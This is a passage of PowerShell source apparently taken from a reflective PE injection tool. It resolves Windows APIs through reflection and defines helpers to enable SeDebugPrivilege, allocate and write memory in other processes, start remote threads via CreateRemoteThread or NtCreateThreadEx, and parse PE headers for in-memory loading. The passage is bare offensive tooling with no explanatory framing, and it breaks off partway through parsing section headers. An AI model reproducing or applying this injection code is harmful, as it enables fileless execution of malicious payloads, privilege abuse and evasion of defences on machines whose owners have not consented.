		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
		$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008
		$Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
		$Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
		$Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0

		return $Win32Constants
	}

	Function Get-Win32Functions
	{
		$Win32Functions = New-Object System.Object

		$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
		$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
		$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
		$Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc

		$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
		$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
		$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
		$Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx

		$memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
		$memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
		$memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy

		$memsetAddr = Get-ProcAddress msvcrt.dll memset
		$memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
		$memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset

		$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
		$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
		$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary

		$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
		$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
		$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress

		$GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress
		$GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
		$GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr

		$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
		$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
		$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
		$Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree

		$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
		$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
		$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
		$Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx

		$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
		$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
		$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
		$Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect

		$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
		$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
		$GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
		$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle

		$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
		$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
		$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary

		$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
	    $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
	    $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess

		$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
	    $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
	    $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject

		$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory

		$ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
        $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
        $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory

		$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread

		$GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
        $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
        $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread

		$OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
        $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
        $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken

		$GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
        $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
        $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread

		$AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
        $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
        $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges

		$LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
        $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
        $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue

		$ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
        $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
        $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf


        if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
		    $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
            $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
            $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
		    $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
        }

		$IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
        $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
        $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process

		$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
		$Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread

		return $Win32Functions
	}









	Function Sub-SignedIntAsUnsigned
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Int64]
		$Value1,

		[Parameter(Position = 1, Mandatory = $true)]
		[Int64]
		$Value2
		)

		[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
		[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
		[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

		if ($Value1Bytes.Count -eq $Value2Bytes.Count)
		{
			$CarryOver = 0
			for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
			{
				$Val = $Value1Bytes[$i] - $CarryOver

				if ($Val -lt $Value2Bytes[$i])
				{
					$Val += 256
					$CarryOver = 1
				}
				else
				{
					$CarryOver = 0
				}


				[UInt16]$Sum = $Val - $Value2Bytes[$i]

				$FinalBytes[$i] = $Sum -band 0x00FF
			}
		}
		else
		{
			Throw "Cannot subtract bytearrays of different sizes"
		}

		return [BitConverter]::ToInt64($FinalBytes, 0)
	}


	Function Add-SignedIntAsUnsigned
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Int64]
		$Value1,

		[Parameter(Position = 1, Mandatory = $true)]
		[Int64]
		$Value2
		)

		[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
		[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
		[Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)

		if ($Value1Bytes.Count -eq $Value2Bytes.Count)
		{
			$CarryOver = 0
			for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
			{

				[UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver

				$FinalBytes[$i] = $Sum -band 0x00FF

				if (($Sum -band 0xFF00) -eq 0x100)
				{
					$CarryOver = 1
				}
				else
				{
					$CarryOver = 0
				}
			}
		}
		else
		{
			Throw "Cannot add bytearrays of different sizes"
		}

		return [BitConverter]::ToInt64($FinalBytes, 0)
	}


	Function Compare-Val1GreaterThanVal2AsUInt
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Int64]
		$Value1,

		[Parameter(Position = 1, Mandatory = $true)]
		[Int64]
		$Value2
		)

		[Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
		[Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)

		if ($Value1Bytes.Count -eq $Value2Bytes.Count)
		{
			for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
			{
				if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
				{
					return $true
				}
				elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
				{
					return $false
				}
			}
		}
		else
		{
			Throw "Cannot compare byte arrays of different size"
		}

		return $false
	}


	Function Convert-UIntToInt
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[UInt64]
		$Value
		)

		[Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
		return ([BitConverter]::ToInt64($ValueBytes, 0))
	}


    Function Get-Hex
    {
        Param(
        [Parameter(Position = 0, Mandatory = $true)]
        $Value
        )

        $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
        $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value

        return $Hex
    }


	Function Test-MemoryRangeValid
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[String]
		$DebugString,

		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$PEInfo,

		[Parameter(Position = 2, Mandatory = $true)]
		[IntPtr]
		$StartAddress,

		[Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
		[IntPtr]
		$Size
		)

	    [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))

		$PEEndAddress = $PEInfo.EndAddress

		if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
		{
			Throw "Trying to write to memory smaller than allocated address range. $DebugString"
		}
		if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
		{
			Throw "Trying to write to memory greater than allocated address range. $DebugString"
		}
	}


	Function Write-BytesToMemory
	{
		Param(
			[Parameter(Position=0, Mandatory = $true)]
			[Byte[]]
			$Bytes,

			[Parameter(Position=1, Mandatory = $true)]
			[IntPtr]
			$MemoryAddress
		)

		for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
		{
			[System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
		}
	}



	Function Get-DelegateType
	{
	    Param
	    (
	        [OutputType([Type])]

	        [Parameter( Position = 0)]
	        [Type[]]
	        $Parameters = (New-Object Type[](0)),

	        [Parameter( Position = 1 )]
	        [Type]
	        $ReturnType = [Void]
	    )

	    $Domain = [AppDomain]::CurrentDomain
	    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
	    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
	    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
	    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
	    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
	    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
	    $MethodBuilder.SetImplementationFlags('Runtime, Managed')

	    Write-Output $TypeBuilder.CreateType()
	}



	Function Get-ProcAddress
	{
	    Param
	    (
	        [OutputType([IntPtr])]

	        [Parameter( Position = 0, Mandatory = $True )]
	        [String]
	        $Module,

	        [Parameter( Position = 1, Mandatory = $True )]
	        [String]
	        $Procedure
	    )


	    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
	        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }
	    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')

	    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')

		Try
		{
			$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
		}
		Catch
		{
			$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',
                                                            [reflection.bindingflags] "Public,Static",
                                                            $null,
                                                            [System.Reflection.CallingConventions]::Any,
                                                            @((New-Object System.Runtime.InteropServices.HandleRef).GetType(),
                                                            [string]),
                                                            $null)
		}


	    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
	    $tmpPtr = New-Object IntPtr
	    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)


	    Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
	}


	Function Enable-SeDebugPrivilege
	{
		Param(
		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$Win32Functions,

		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Types,

		[Parameter(Position = 3, Mandatory = $true)]
		[System.Object]
		$Win32Constants
		)

		[IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
		if ($ThreadHandle -eq [IntPtr]::Zero)
		{
			Throw "Unable to get the handle to the current thread"
		}

		[IntPtr]$ThreadToken = [IntPtr]::Zero
		[Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
		if ($Result -eq $false)
		{
			$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
			if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
			{
				$Result = $Win32Functions.ImpersonateSelf.Invoke(3)
				if ($Result -eq $false)
				{
					Throw "Unable to impersonate self"
				}

				$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
				if ($Result -eq $false)
				{
					Throw "Unable to OpenThreadToken."
				}
			}
			else
			{
				Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
			}
		}

		[IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
		$Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
		if ($Result -eq $false)
		{
			Throw "Unable to call LookupPrivilegeValue"
		}

		[UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
		[IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
		$TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
		$TokenPrivileges.PrivilegeCount = 1
		$TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
		$TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
		[System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)

		$Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
		$ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
		if (($Result -eq $false) -or ($ErrorCode -ne 0))
		{

		}

		[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
	}


	Function Create-RemoteThread
	{
		Param(
		[Parameter(Position = 1, Mandatory = $true)]
		[IntPtr]
		$ProcessHandle,

		[Parameter(Position = 2, Mandatory = $true)]
		[IntPtr]
		$StartAddress,

		[Parameter(Position = 3, Mandatory = $false)]
		[IntPtr]
		$ArgumentPtr = [IntPtr]::Zero,

		[Parameter(Position = 4, Mandatory = $true)]
		[System.Object]
		$Win32Functions
		)

		[IntPtr]$RemoteThreadHandle = [IntPtr]::Zero

		$OSVersion = [Environment]::OSVersion.Version

		if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
		{

			$RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
			$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
			if ($RemoteThreadHandle -eq [IntPtr]::Zero)
			{
				Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
			}
		}

		else
		{

			$RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
		}

		if ($RemoteThreadHandle -eq [IntPtr]::Zero)
		{
			Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
		}

		return $RemoteThreadHandle
	}



	Function Get-ImageNtHeaders
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[IntPtr]
		$PEHandle,

		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$Win32Types
		)

		$NtHeadersInfo = New-Object System.Object


		$dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)


		[IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
		$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
		$imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)


	    if ($imageNtHeaders64.Signature -ne 0x00004550)
	    {
	        throw "Invalid IMAGE_NT_HEADER signature."
	    }

		if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
		{
			$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
			$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
		}
		else
		{
			$ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
			$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
			$NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
		}

		return $NtHeadersInfo
	}



	Function Get-PEBasicInfo
	{
		Param(
		[Parameter( Position = 0, Mandatory = $true )]
		[Byte[]]
		$PEBytes,

		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$Win32Types
		)

		$PEInfo = New-Object System.Object


		[IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
		[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null


		$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types


		$PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
		$PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
		$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
		$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
		$PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)


		[System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)

		return $PEInfo
	}




	Function Get-PEDetailedInfo
	{
		Param(
		[Parameter( Position = 0, Mandatory = $true)]
		[IntPtr]
		$PEHandle,

		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$Win32Types,

		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Constants
		)

		if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
		{
			throw 'PEHandle is null or IntPtr.Zero'
		}

		$PEInfo = New-Object System.Object


		$NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types


		$PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
		$PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
		$PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
		$PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
		$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)

		if ($PEInfo.PE64Bit -eq $true)
		{
			[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
